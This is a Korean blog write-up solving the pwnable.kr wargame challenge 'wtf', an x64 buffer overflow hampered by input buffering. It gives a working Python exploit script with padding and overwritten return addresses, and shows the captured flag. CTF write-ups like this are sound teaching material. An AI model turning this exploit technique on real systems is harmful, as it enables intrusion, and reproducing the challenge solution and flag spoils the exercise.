본문 바로가기
Wargame/pwnable.kr

[Grotesque] wtf

by bbolmin 2015. 2. 25.



100점 밖에 안되는 문제이다 ... 바이너리는 아주 간단한 x64 bof 취약점을 가진다.


전에 unexploitable 풀때도 버퍼링 문제가 있었는데 그때는 그냥 sigreturn을 사용해서 해당 문제를 넘겨 버렸었다.

그런데 이 문제는 애초에 버퍼링을 해결하는 것이 문제 !!!


문제는 c나 python으로 popen해서 통신할 때 wrtie를 해주더라도 버퍼링 때문에 계속해서 read함수에 걸려있다는 것이다 ㅜ

버퍼링 때문에 다음 코드 진행이 안됨 ㅡㅡ;;;


삽질 끝에 방법을 알았다 ... strace -f로 자식프로세스의 시스템콜을 보면 4096byte가 들어올때까지 read하는 것 같았다.

그래서 나머지를 더미로 채워넣어서 4096 넣으니 버퍼링 문제가 해결된다;;; 


이게 unexploitable에도 적용 가능한지는 테스트해보지 않았는데 나중에 한번 해봐야겠다 ^-^





아래는 exploit code



from socket import *
import struct,time

HOST = 'pwnable.kr'
PORT = 9015


s = socket(AF_INET, SOCK_STREAM)
s.connect((HOST, PORT))

p1 = '-1\n'.encode('hex')
payload = p1 + ('\n'*4093).encode('hex')
p2 = 'f805400000000000'*8 + '0a'
payload += p2


print 'wait ..'
time.sleep(2)
s.send(payload+'\n')


for i in range(10):
    print s.recv(4096)




wait ..


---------------------------------------------------

-              Shall we play a game?              -

---------------------------------------------------

Hey~, I'm a newb in this pwn(?) thing...

I'm stuck with a very easy bof task called 'wtf'

I think this is quite easy task, however my

exploit payload is not working... I don't know why :(

I want you to help me out here.

please check out the binary and give me payload

let me try to pwn this with yours.


                           - Sincerely yours, newb

payload please : 

thanks! let me try if your payload works...


hey! your payload got me this : I_H4T3_L1BC_BUFF3R1NG_5HIT_L0L



I admit, you are indeed an expert :)











'Wargame > pwnable.kr' 카테고리의 다른 글

[Rookiss] tiny_easy  (0) 2014.07.28
[Hacker's Secret] unexploitable  (0) 2014.07.27
[Rookiss] simple login  (0) 2014.07.27
[Rookiss] brain fuck  (0) 2014.07.26
[Rookiss] ascii_easy  (0) 2014.07.21